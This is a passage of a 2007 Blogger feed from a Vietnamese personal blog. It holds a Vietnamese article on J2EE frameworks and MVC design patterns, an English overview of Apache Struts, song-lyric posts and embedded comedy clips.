mỗi công ty đều có một hướng phát triển riêng, tuy nhiên họ cũng đang cố gắng tìm ra những phương án và mô hình có thể sử dụng lại cho các dự án tiếp theo: được coi như là một khung ứng dụng cho các ứng dụng trên Web (web application framework).&lt;br /&gt;&lt;br /&gt;Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun ?áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML?.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Luồng dữ liệu trên web và cấu trúc đa tầng với J2EE&lt;br /&gt;&lt;br /&gt;Chắc chắn rằng mỗi dự án đều có một phương thức xử lý (bussiness layer) riêng biệt. Tuy nhiên để xây dựng được một framework chung cho nhiều dự án có yêu cầu khác nhau, chúng ta phải có gắng tìm ra được những điểm chung nhất của các chúng. ở đây tôi đưa ra một mô hình luồng dữ liệu trong cấu trúc đa tầng mà các dự án trên web thường sử dụng.&lt;br /&gt;&lt;br /&gt;Với mô hình phân tầng này, một yêu cầu (request) từ phía client được phục vụ tại tầng xử lý J2EE chứ không phải tầng Web. Tuy nhiên để đảm bảo cho mô hình hoạt động hiệu quả hơn và cung cấp cho tầng J2EE một khả nǎng chuẩn hoá, thì đối tượng request được qua một vài thao tác tại tầng Web gọi là quá trình tiền xử lý. Các thao tác cơ bản như: trích lọc thông tin từ request, kiểm tra thông tin và xây dựng lại thông tin từ đối tượng request thành một đối tượng chuẩn Java (như Javabeans hoặc một vǎn bản XML).&lt;br /&gt;&lt;br /&gt;Ngoài ra, bộ ánh xạ trong các module điều khiển của mô hình cho phép tạo ra một ứng dụng có khả nǎng cấu hình và mở rộng được (configurabitlity và extensibility). Với từng request đến, bộ điều khiển sẽ tìm kiếm ?đối tượng quản trị? (request handler) tương ứng để thực thi cho request này, như vậy khi cần thêm chức nǎng cho hệ thống thực chất là cấu hình thêm cho bộ ánh xạ này. Bộ ánh xạ có vai trò nhưng một bảng dữ liệu đơn giản nên file XML là sự lựa chọn thích hợp nhất.&lt;br /&gt;&lt;br /&gt;Java hay Microsoft.NET&lt;br /&gt;&lt;br /&gt;Tại sao lại Java?&lt;br /&gt;&lt;br /&gt;Chúng ta sẽ phải làm gì trong cuộc chiến giữa Sun và Microsoft, cụ thể hơn giữa Java và .NET? Bạn sẽ lựa chọn cái gì để triển khai dự án của mình trong một loạt các hệ điều hành và các môi trường khác nhau như Windows, Linux, AS/400, Oracle? Hiện tại, IBM và Oracle đang đứng về phía Sun, nếu bạn muốn sản phẩm của bạn hỗ trợ tất cả các platform hiện nay kể cả Windows thì Java có thể là một sự lựa chọn rất hợp lý.&lt;br /&gt;&lt;br /&gt;Với Microsoft.NET, sản phẩm của bạn sẽ chỉ chạy được trên nền Windows, bù lại thời gian phát triển dự án bằng .NET có thể sẽ nhanh hơn. Tuy nhiên trong những ứng dụng lớn thì về mặt tốc độ cũng như mức độ ổn định cũng không hẳn là đã vượt trội so với Java.&lt;br /&gt;&lt;br /&gt;Các ngôn ngữ khác&lt;br /&gt;&lt;br /&gt;Các phương án truyền thống còn lại như CGI (C, Perl), PHP hay ASP3.0? cũng có thể là sự lựa chọn cho các dự án nhỏ, tuy nhiên chúng khó có cơ hội cạnh tranh được với Java và .NET trong tương lai.&lt;br /&gt;&lt;br /&gt;Các phương án thiết kế&lt;br /&gt;&lt;br /&gt;Mẫu thiết kế (Design pattern)&lt;br /&gt;&lt;br /&gt;Bạn định bắt đầu từ những bản đặc tả (specification) của các công nghệ ư? Muộn rồi, chúng ta không nên cố xây dựng lại cái bánh xe trong khi một loạt các công ty và nhóm phần mềm đã tiêu tốn nhiều thời gian công sức để tìm ra những phương án tối ưu cho từng vấn đề họ đã gặp phải trong quá trình phát triển các dự án. Bắt đầu từ đầu những nǎm 90 thuật ngữ design patterns chính thức ra đời nhằm chỉ các giải pháp giải quyết các vấn đề thường gặp trong quá trình xây dựng phần mềm. Design pattern không phải là những khái niệm lý thuyết mà được đúc rút ra từ những kinh nghiệm thực tế của các chuyên gia phần mềm trên thế giới.&lt;br /&gt;&lt;br /&gt;Các mẫu thiết kế cho J2EE mà một phần được trình bày trong quyển ?J2EE Design Pattern? được kiểm nghiệm thực tế rất thành công trong việc giải quyết các vấn đề nảy sinh trong quá trình phát triển ứng dụng J2EE. Ví dụ với tầng Web của ứng dụng J2EE kinh điển, nếu chúng ta bắt tay từ đặc tả kỹ thuật (specification) của JSP và Servlet chúng cho phép xây dựng được những trang web động riêng biệt rất tốt nhưng lại hỗ trợ rất ít trong việc quản lý luồng dữ liệu giữa các trang với nhau, đặc biệt chúng không tách rời 2 tầng hiển thị (presentation) và tầng xử lý (bussiness).&lt;br /&gt;&lt;br /&gt;Mô hình MVC (Model- View-Control)&lt;br /&gt;&lt;br /&gt;MVC là một mô hình thiết kế mang tính tổng thể để giải quyết vấn đề trên, nó được tạo ra bởi Krasner và Pope nǎm 1988 cho Smalltalk, hiện tại được IBM và Apache ứng dụng trong các dự án của họ rất thành công. Đây là một giải pháp cho phép xây dựng nên các ứng dụng phân tầng một cách rất hiệu quả bằng cách tạo ra những phương thức quản lý từng tầng một cách riêng rẽ như mô hình ở hình 2. Trong J2EE, thì MVC cũng được xây dựng dựa trên những tính nǎng mạnh của công nghệ JSP và Servlet&lt;br /&gt;&lt;br /&gt;Khung ứng dụng (application framework)&lt;br /&gt;&lt;br /&gt;Không phủ nhận được điểm mạnh của các mẫu thiết kế, vấn đề là ở chỗ chúng chỉ giải quyết những vấn đề riêng rẽ, làm sao để sử dụng và kết hợp chúng lại trong các dự án J2EE. Câu hỏi này đã nảy sinh và hiện nay một thuật ngữ mới chỉ một mẫu thiết kế tổng quát hơn cho từng ứng dụng lĩnh vực cụ thể, đó là framework. Các dự án thực tế để tạo ra các framework này cũng đang được hoàn thiện. Như vậy quá trình phát triển về mặt thiết kế dự án sử dụng công nghệ J2EE có thể được mô tả.&lt;br /&gt;&lt;br /&gt;Chọn lựa một framework tốt giúp bạn giảm thiểu được thời gian và nâng cao chất lượng của sản phẩm. Nó giúp người lập trình chỉ cần chú tâm vào việc xây dựng mức trên thuộc tầng xử lý của ứng dụng thay vì phải làm việc ở mức thấp với từng dòng lệnh một cách nhàm chán với những sai xót cá nhân của người lập trình.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;Nguyễn Tuấn Khang - Quan Tri Mang&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7911826483362066942?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7911826483362066942/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/xy-dng-khung-ng-dng-j2ee-vi-cc-mu-thit.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7911826483362066942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7911826483362066942'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/xy-dng-khung-ng-dng-j2ee-vi-cc-mu-thit.html' title='Xây dựng khung ứng dụng J2EE với các mẫu thiết kế trong Java'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3985733908143068380</id><published>2007-09-30T10:18:00.000+07:00</published><updated>2007-09-30T10:18:16.762+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music'/><title type='text'>Let The Music Heal Your Soul - Bravo All Stars</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;embed autostart="false" loop="false" src="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma" height="40" width="300"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a href="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma"&gt;&lt;span style="font-weight: bold;"&gt;Download Here&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oh if someone writes a song with a&lt;br /&gt;simple Rhyme (Touch)&lt;br /&gt;Just a song where is feeling show (`N Sync)&lt;br /&gt;And if someone feels the same about the&lt;br /&gt;simple song (Moffats)&lt;br /&gt;oh sometimes you can hear them sing (Gil)&lt;br /&gt;music gives you Happiness and Sadness (Sqeezer)&lt;br /&gt;But it also, also heals your soul (Nick-BsB)&lt;br /&gt;&lt;br /&gt;Chorus&lt;br /&gt;Let the music heal your soul&lt;br /&gt;let the music take control&lt;br /&gt;let the music give you the power to&lt;br /&gt;move any mountain&lt;br /&gt;&lt;br /&gt;If someone plays piano with some simple&lt;br /&gt;chords (Touch¨¦)&lt;br /&gt;So melodic and endearing, too (Aaron)&lt;br /&gt;Oh if someone plays guitar with the old&lt;br /&gt;piano (Brian-BsB)&lt;br /&gt;And maybe you can hear them sing (The Boyz)&lt;br /&gt;Music gives you Happiness and Sadness (Nick-BsB)&lt;br /&gt;But it also (`N Sync)&lt;br /&gt;it also heals your soul (Blumchen)&lt;br /&gt;&lt;br /&gt;Chorus&lt;br /&gt;&lt;br /&gt;(Brian-BsB)&lt;br /&gt;Let the music heal your soul&lt;br /&gt;let the music take control&lt;br /&gt;let the music heal your soul&lt;br /&gt;&lt;br /&gt;Chorus 4x &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3985733908143068380?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3985733908143068380/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/let-music-heal-your-soul-bravo-all.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3985733908143068380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3985733908143068380'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/let-music-heal-your-soul-bravo-all.html' title='Let The Music Heal Your Soul - Bravo All Stars'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5088531987918602047</id><published>2007-09-30T10:17:00.000+07:00</published><updated>2007-09-30T10:17:33.674+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks Collection'/><title type='text'>Struts</title><content type='html'>&lt;p  style="text-align: left;font-family:verdana;"&gt;&lt;span style="font-size:100%;"&gt;Struts                                   is a open source framework which make building                                   of the web applications easier based on the                                   java Servlet and JavaServer pages technologies.                               &lt;br /&gt;                           &lt;br /&gt;                               Struts framework was created by Craig R. McClanahan                                   and donated to the Apache Software Foundation                                   in 2000. The Project now has several committers,                                   and many developers are contributing to overall                                   to the framework.&lt;br /&gt;                           &lt;br /&gt;                               Developing web application using struts frame                                   work is fairly complex, but it eases things                                   after it is setup. It encourages software development                                   following the MVC design pattern. Many web applications                                   are JSP-only or Servlets-only. With JSP and                                   Servlets, Java code is embedded in the HTML                                   code and the Java code calls println methods                                   to generate the HTML code respectively. Both                                   approaches have their advantages and drawbacks;                                   Struts gathers their strengths to get the best                                   of their association.&lt;/span&gt;&lt;/p&gt;&lt;div&gt;                                 &lt;/div&gt;&lt;p  style="text-align: left;font-family:verdana;"&gt;&lt;span style="font-size:100%;"&gt;Struts                                   is based on Model-View-Controller (MVC) design                                   paradigm, it is an implementation of JSP Model                                   2 Architecture. For more of Model-View-Controller                                   (MVC) click here.&lt;br /&gt;                               &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;                               Consists of 8 Top-Level Packagesand approx 250                                   Classes and Interfaces.&lt;br /&gt;                           &lt;br /&gt;                               Struts is a set of cooperating classes, servlets,                                   and JSP tags that make up a reusable MVC 2 design.                                   This definition&lt;/span&gt;&lt;span style="font-size:100%;"&gt;                                   implies that Struts is a framework, rather than                                   a library, but Struts also contains an extensive                                   tag library and utility classes that work independently                                   of the framework.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;                               &lt;br /&gt;                           &lt;br /&gt;                               &lt;strong&gt;The overview of struts&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt;                                 &lt;/div&gt;&lt;p  style="text-align: left;font-family:verdana;"&gt;&lt;span style="font-size:100%;"&gt;&lt;em&gt;&lt;strong&gt;Client                                   browser&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;                               An HTTP request from the client browser creates                                   an event. The Web container will respond with                                   an HTTP response.&lt;br /&gt;                               &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;                                 &lt;span style="font-size:100%;"&gt;&lt;em&gt;&lt;strong&gt;Controller&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;                               The controller is responsible for intercepting                                   and translating user input into actions to&lt;br /&gt;                               be performed by the model. The controller is                                   responsible for selecting the next view based                                   on user input and the outcome of model operations.The                                   Controller receives the request from the browser,                                   and makes the decision where to send the request.                                   With Struts, the Controller is a command design                                   pattern implemented as a servlet. The struts-config.xml                                   file configures the Controller.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt;                              &lt;br /&gt;&lt;br /&gt;                                                           &lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;em&gt;Business                                 logic&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                               The business logic updates the state of the model                                 and helps control the flow of the application.                                 With Struts this is done with an Action class                                 as a thin wrapper to the actual business logic.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                               &lt;em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;&lt;em&gt;&lt;strong&gt;                               &lt;/strong&gt;&lt;/em&gt; &lt;/span&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;em&gt;Model                                 &lt;/em&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                               A model represents an application’s data and contains                                 the logic for accessing and manipulating that                                 data. Any data that is part of the persistent                                 state of the application should reside in the                                 model objects. The business objects update the                                 application state. ActionForm bean represents                                 the Model state at a session or request level,                                 and not at a persistent level. Model services                                 are accessed by the controller for either querying                                 or effecting a change in the model state. The                                 model notifies the view when a state change occurs                                 in the model.The JSP file reads information from                                 the ActionForm bean using JSP tags.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                             &lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                               &lt;em&gt;&lt;strong&gt;View&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                               The view is responsible for rendering the state                                 of the model. The presentation semantics are encapsulated                                 within the view, therefore model data can be adapted                                 for several different kinds of clients.The view                                 modifies itself when a change in the model is                                 communicated to the view. A view forwards user                                 input to the controller.The view is simply a JSP                                 file. There is no flow logic, no business logic,                                 and no model information -- just tags. Tags are                                 one of the things that make Struts unique compared                                 to other frameworks like Velocity.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/mvc.htm"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        MVC&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                        &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/downloading_struts.htm"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        Downloading Struts&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                        &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/installing_struts.htm"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        Installing Struts&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                        &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/configuring_struts.htm"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        Configuring Struts&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                        &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_10_and%20_11.htm"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;Struts                                        1.0 and 1.1&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                         &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_controller.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        Struts Controller&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt;                                        &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_model.htm"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; Struts Model&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;                                        &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt; &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_view.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; Struts View&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;                                        &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt; &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_tag_library.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; Struts Tag Library&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;                                        &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt; &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_tag_library.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; &lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_example.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; &lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_tag_library.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; &lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_example.htm"&gt;                                        &lt;span style="color: rgb(0, 0, 0);"&gt;                                        &lt;strong&gt; Struts Example&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;                                           &lt;/div&gt;&lt;hr  style="height: 3px; margin-left: 0px; margin-right: auto;font-family:verdana;font-size:78%;" noshade="noshade" &gt;&lt;div style="text-align: left;"&gt; &lt;span style="font-size:100%;"&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_tag_library.htm"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;                                        &lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;a style="font-family: verdana;" href="http://www.allapplabs.com/struts/struts_internationalization.htm"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;Struts                                        Internationalization&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:verdana;"&gt;For more information here:&lt;br /&gt;http://www.allapplabs.com/struts/struts.htm&lt;br /&gt;http://struts.apache.org/&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5088531987918602047?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5088531987918602047/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/struts.html#comment-form' title='2 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5088531987918602047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5088531987918602047'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/struts.html' title='Struts'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-4591188350804201065</id><published>2007-09-30T00:13:00.001+07:00</published><updated>2007-09-30T00:13:16.107+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clip Hài'/><title type='text'>Clip Hài 2</title><content type='html'>&lt;object width="448" height="372"&gt;&lt;param name="movie" value="http://clip.vn/w/Wd0,vn,0"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;embed src="http://clip.vn/w/Wd0,vn,0" type="application/x-shockwave-flash" allowFullScreen="true" width="448" height="372"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4591188350804201065?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/4591188350804201065/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/clip-hi-2.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4591188350804201065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4591188350804201065'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/clip-hi-2.html' title='Clip Hài 2'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3736632362458346991</id><published>2007-09-30T00:10:00.001+07:00</published><updated>2007-09-30T00:10:35.909+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clip Hài'/><title type='text'>Clip Hài 1</title><content type='html'>&lt;object width="448" height="372"&gt;&lt;param name="movie" value="http://clip.vn/w/IOK,vn,0"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;embed src="http://clip.vn/w/IOK,vn,0" type="application/x-shockwave-flash" allowFullScreen="true" width="448" height="372"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3736632362458346991?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3736632362458346991/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/clip-hi-1.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3736632362458346991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3736632362458346991'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/clip-hi-1.html' title='Clip Hài 1'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3169096549010874219</id><published>2007-09-27T09:27:00.000+07:00</published><updated>2007-09-27T09:27:16.018+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music'/><title type='text'>Judy Judy Judy</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;embed autostart="false" loop="false" src="http://levohuudang.googlepages.com/Judy_Judy_Judy.wma" height="40" width="300"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a href="http://levohuudang.googlepages.com/Judy_Judy_Judy.wma"&gt;&lt;span style="font-weight: bold;"&gt;Download Here&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Judy's got the lips I love to kiss&lt;br /&gt;And when she walks she's got the cutest twist&lt;br /&gt;She's grown up before my eyes and all at once I realize&lt;br /&gt;Judy, Judy, Judy I love you&lt;br /&gt;&lt;br /&gt;Judy's got the hands I love to touch&lt;br /&gt;The way she wrinkles her nose, it's just too much&lt;br /&gt;No more shirts and bright blue jeans, all at once she's seventeen&lt;br /&gt;Judy, Judy, Judy I love you&lt;br /&gt;&lt;br /&gt;I'm prayin' I'll stay in her heart for evermore&lt;br /&gt;Cause she's the girl I've dreamed of, that I've been waiting for&lt;br /&gt;&lt;br /&gt;Judy's gonna share my life some day&lt;br /&gt;And in my heart I know she's gonna stay&lt;br /&gt;When I look into her eyes I just can't help but realize&lt;br /&gt;Judy, Judy, Judy I love you&lt;br /&gt;&lt;br /&gt;I'm prayin' I'll stay in her heart for evermore&lt;br /&gt;Cause she's the girl I've dreamed of, that I've been waiting for&lt;br /&gt;&lt;br /&gt;Judy's gonna share my life some day&lt;br /&gt;And I'll be true to her in every way&lt;br /&gt;When I look into her eyes I just can't help but realize&lt;br /&gt;Judy, Judy, Judy I love you&lt;br /&gt;Judy, Judy, Judy I love you&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3169096549010874219?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3169096549010874219/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/judy-judy-judy.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3169096549010874219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3169096549010874219'/><link rel='alternate' type='text/html' 